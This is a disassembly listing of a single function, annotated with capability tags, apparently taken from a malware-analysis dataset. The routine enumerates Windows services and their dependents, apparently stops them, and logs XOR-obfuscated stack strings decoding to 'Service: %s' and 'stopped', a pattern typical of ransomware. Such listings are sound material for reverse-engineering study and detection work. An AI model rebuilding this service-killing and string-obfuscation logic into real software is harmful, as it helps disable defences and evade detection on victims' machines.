Function at 0x40c30a
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Enumerate services
Query service status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd0
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0xf003f
push 0
push 0
mov dword [0x41a09c], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, eax
mov dword [ebp - 0x78], esi
test esi, esi
je 0x40c71f
mov edx, 0x414cbd
mov dword [0x41a0a0], 1
lea ecx, [ebp - 0x20]
call fcn.00401a10
test eax, eax
je 0x40c711
and dword [ebp - 0x84], 0
push ebx
mov ebx, dword [ebp - 0x20]
cmp dword [ebx], 0
je 0x40c708
and dword [ebp - 0x74], 0
push edi
mov edi, ebx
mov dword [ebp - 0x1c], edi
mov eax, dword [edi]
push 0x2c
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
mov dword [ebp - 0x7c], esi
test esi, esi
jne 0x40c398
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x40c6e3
lea eax, [ebp - 0x18]
push eax
push 0x24
lea eax, [ebp - 0xac]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x40c6dc
cmp dword [ebp - 0xa8], 1
je 0x40c6dc
cmp dword [ebp - 0xa8], 3
je 0x40c6dc
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
test eax, eax
je 0x40c5d3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x40c5d3
mov ecx, dword [ebp - 0x18]
call fcn.004067f9
mov dword [ebp - 0x80], eax
test eax, eax
je 0x40c5d3
lea ecx, [ebp - 0x88]
push ecx
lea ecx, [ebp - 0x18]
push ecx
push dword [ebp - 0x18]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
test eax, eax
je 0x40c5cb
mov esi, dword [ebp - 0x74]
lea edi, [ebp - 0xd0]
add esi, dword [ebp - 0x80]
push 9
pop ecx
push 0x24
rep movsd dword es:[edi], dword [esi]
push dword [ebp - 0xd0]
push dword [ebp - 0x78]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
je 0x40c5c5
mov ecx, esi
call fcn.0040c284
mov edi, dword [ebp - 0x1c]
test eax, eax
je 0x40c5bc
mov ebx, dword [edi]
xor edx, edx
mov byte [ebp - 0x54], 0x53
mov ecx, edx
mov byte [ebp - 0x53], dl
mov byte [ebp - 0x52], 0x65
mov byte [ebp - 0x51], dl
mov byte [ebp - 0x50], 0x72
mov byte [ebp - 0x4f], dl
mov byte [ebp - 0x4e], 0x76
mov byte [ebp - 0x4d], dl
mov byte [ebp - 0x4c], 0x69
mov byte [ebp - 0x4b], dl
mov byte [ebp - 0x4a], 0x63
mov byte [ebp - 0x49], dl
mov byte [ebp - 0x48], 0x65
mov byte [ebp - 0x47], dl
mov byte [ebp - 0x46], 0x3a
mov byte [ebp - 0x45], dl
mov byte [ebp - 0x44], 0x20
mov byte [ebp - 0x43], dl
mov byte [ebp - 0x42], 0x25
mov byte [ebp - 0x41], dl
mov byte [ebp - 0x40], 0x73
mov byte [ebp - 0x3f], dl
mov byte [ebp - 0x3e], 0x2d
mov byte [ebp - 0x3d], dl
mov byte [ebp - 0x3c], 0x3e
mov byte [ebp - 0x3b], dl
mov byte [ebp - 0x3a], 0x25
mov byte [ebp - 0x39], dl
mov byte [ebp - 0x38], 0x73
mov byte [ebp - 0x37], dl
mov byte [ebp - 0x36], dl
mov byte [ebp - 0x35], dl
mov al, byte [ebp - 0x54]
mov al, byte [ebp + ecx - 0x54]
mov byte [ebp + ecx - 0x54], al
inc ecx
cmp ecx, 0x1f
jb 0x40c4ea
mov dword [ebp - 0x14], 0x18
mov eax, dword [ebp - 0x14]
xor al, 0x73
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x14]
inc al
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x14]
add al, 2
xor al, 0x74
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x14]
add al, 3
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x14]
add al, 4
xor al, 0x6f
mov byte [ebp - 0xc], al
mov eax, dword [ebp - 0x14]
add al, 5
mov byte [ebp - 0xb], al
mov eax, dword [ebp - 0x14]
add al, 6
xor al, 0x70
mov byte [ebp - 0xa], al
mov eax, dword [ebp - 0x14]
add al, 7
mov byte [ebp - 9], al
mov eax, dword [ebp - 0x14]
add al, 8
xor al, 0x70
mov byte [ebp - 8], al
mov eax, dword [ebp - 0x14]
add al, 9
mov byte [ebp - 7], al
mov eax, dword [ebp - 0x14]
add al, 0xa
xor al, 0x65
mov byte [ebp - 6], al
mov eax, dword [ebp - 0x14]
add al, 0xb
mov byte [ebp - 5], al
mov eax, dword [ebp - 0x14]
add al, 0xc
xor al, 0x64
mov byte [ebp - 4], al
mov eax, dword [ebp - 0x14]
add al, 0xd
mov byte [ebp - 3], al
mov eax, dword [ebp - 0x14]
add al, 0xe
mov byte [ebp - 1], dl
mov byte [ebp - 2], al
mov al, byte [ebp - 0x10]
mov al, byte [ebp + edx - 0x10]
mov ecx, dword [ebp - 0x14]
add cl, dl
xor cl, al
mov byte [ebp + edx - 0x10], cl
inc edx
cmp edx, 0xf
jb 0x40c589
push dword [ebp - 0xd0]
lea eax, [ebp - 0x54]
mov byte [ebp - 1], 0
push ebx
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.0041321e
mov ebx, dword [ebp - 0x20]
add esp, 0x10
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x40c5c8
mov edi, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x80]
call fcn.0040689e
mov ecx, esi
call fcn.0040c284
test eax, eax
je 0x40c6dc
mov edi, dword [edi]
xor ebx, ebx
mov dword [ebp - 0x70], 0x1c
mov edx, ebx
mov byte [ebp - 0x6c], 0x4f
mov byte [ebp - 0x6b], 0x1c
mov byte [ebp - 0x6a], 0x79
mov byte [ebp - 0x69], 0x1c
mov byte [ebp - 0x68], 0x6e
mov byte [ebp - 0x67], 0x1c
mov byte [ebp - 0x66], 0x6a
mov byte [ebp - 0x65], 0x1c
mov byte [ebp - 0x64], 0x75
mov byte [ebp - 0x63], 0x1c
mov byte [ebp - 0x62], 0x7f
mov byte [ebp - 0x61], 0x1c
mov byte [ebp - 0x60], 0x79
mov byte [ebp - 0x5f], 0x1c
mov byte [ebp - 0x5e], 0x26
mov byte [ebp - 0x5d], 0x1c
mov byte [ebp - 0x5c], 0x3c
mov byte [ebp - 0x5b], 0x1c
mov byte [ebp - 0x5a], 0x39
mov byte [ebp - 0x59], 0x1c
mov byte [ebp - 0x58], 0x6f
mov byte [ebp - 0x57], 0x1c
mov byte [ebp - 0x56], 0x1c
mov al, byte [ebp - 0x6c]
mov byte [ebp - 0x55], bl
mov al, byte [ebp + edx - 0x6c]
mov ecx, dword [ebp - 0x70]
xor cl, al
mov byte [ebp + edx - 0x6c], cl
inc edx
cmp edx, 0x17
jb 0x40c651
mov byte [ebp - 0x55], bl
mov edx, ebx
mov dword [ebp - 0x34], 0x33
mov byte [ebp - 0x30], 0x40
mov byte [ebp - 0x2f], 0x33
mov byte [ebp - 0x2e], 0x47
mov byte [ebp - 0x2d], 0x33
mov byte [ebp - 0x2c], 0x5c
mov byte [ebp - 0x2b], 0x33
mov byte [ebp - 0x2a], 0x43
mov byte [ebp - 0x29], 0x33
mov byte [ebp - 0x28], 0x43
mov byte [ebp - 0x27], 0x33
mov byte [ebp - 0x26], 0x56
mov byte [ebp - 0x25], 0x33
mov byte [ebp - 0x24], 0x57
mov byte [ebp - 0x23], 0x33
mov byte [ebp - 0x22], 0x33
mov al, byte [ebp - 0x30]
mov byte [ebp - 0x21], bl
mov al, byte [ebp + edx - 0x30]
mov ecx, dword [ebp - 0x34]
xor cl, al
mov byte [ebp + edx - 0x30], cl
inc edx
cmp edx, 0xf
jb 0x40c6b2
push edi
lea eax, [ebp - 0x6c]
mov byte [ebp - 0x21], bl
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.0041321e
mov ebx, dword [ebp - 0x20]
add esp, 0xc
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [ebp - 0x84]
add dword [ebp - 0x74], 0x24
inc eax
mov esi, dword [ebp - 0x78]
mov dword [ebp - 0x84], eax
lea edi, [ebx + eax*4]
mov eax, dword [edi]
mov dword [ebp - 0x1c], edi
test eax, eax
jne 0x40c37a
pop edi
lea ecx, [ebp - 0x20]
call fcn.00401ac9
pop ebx
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
and dword [0x41a0a0], 0
xor eax, eax
pop esi
leave
ret 4